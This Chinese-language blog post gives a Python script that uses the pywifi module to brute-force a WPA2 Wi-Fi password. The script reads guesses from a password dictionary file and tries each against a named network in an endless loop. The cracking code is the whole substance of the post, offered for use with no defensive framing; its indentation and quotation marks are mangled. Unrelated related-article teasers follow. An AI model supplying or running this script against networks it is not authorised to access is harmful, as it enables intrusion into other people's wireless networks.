python 利用pywifi模块实现连接网络破解wifi密码实时监控网络

yipeiwu_com6年前Python基础

python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,具体内容如下:

import pywifi
from pywifi import *
import time
def CrackWifi(password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一个无限网卡
# 是否成功的标志
isok = True
if(iface.status()!=const.IFACE_CONNECTED):
  profile = pywifi.Profile()
  profile.ssid = 'vivo X7'
  profile.auth = const.AUTH_ALG_OPEN     #需要秘密
  profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型
  profile.cipher = const.CIPHER_TYPE_CCMP   #加密单元
  #profile.key = '123456789'         #在此输入你的wifi密码
  profile.key = password
  #time.sleep(3)
  wifi = pywifi.PyWiFi()
  iface = wifi.interfaces()[0] # 取一个无限网卡
  profile = iface.add_network_profile(profile)
  iface.connect(profile)
  time.sleep(3)    #程序休眠时间3秒;如果没有此句,则会打印连接失败,因为它需要一定的检测时间
  if iface.status()==const.IFACE_CONNECTED:
    print("连接成功!!!")
  else:
    print("连接失败!!!")
    isok=False
  return isok
else:
  print("已经连接网络")
  return isok
#CrackWifi()
def PasswordFile():
pathfile=“H:/wififile.txt” #你的密码字典
files=open(pathfile,‘r')
while True:
fp=files.readline()
if not fp:
break
 wifipass = fp[:-1]
  print(wifipass)
  if CrackWifi(wifipass):
   break
while True:
PasswordFile()
time.sleep(5)

总结

以上所述是小编给大家介绍的python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对【听图阁-专注于Python设计】网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

相关文章

python移位运算的实现

密码算法程序设计实践选的SHA-1。 在写的过程中遇到一丢丢关于python移位的问题,记录一下。 SHA-1其中第一步需要填充消息。简单阐述一下sha1填充消息的过程: 如输入消息“...

Python自定义函数计算给定日期是该年第几天的方法示例

本文实例讲述了Python自定义函数计算给定日期是该年第几天的方法。分享给大家供大家参考,具体如下: 写一个函数,计算给定日期是该年的第几天. 满足闰年的条件: 闰年是公历中的名...

Python处理json字符串转化为字典的简单实现

今天一个朋友给个需求: 来来 {'isOK': 1, 'isRunning': None, 'isError': None} 怎么转换成字典 好,一看就是json转化很简单,开始:...

python pickle存储、读取大数据量列表、字典数据的方法

先给大家介绍下python pickle存储、读取大数据量列表、字典的数据 针对于数据量比较大的列表、字典,可以采用将其加工为数据包来调用,减小文件大小 #列表 #存储 li...

使用Nginx+uWsgi实现Python的Django框架站点动静分离

由于: Django处理静态文件不太友好; 以后有可能需要处理php或者其他资源的请求; 所以考虑结合nginx,使用nignx做它擅长的路由分发功能;同时做动静分离,即Http请求统一...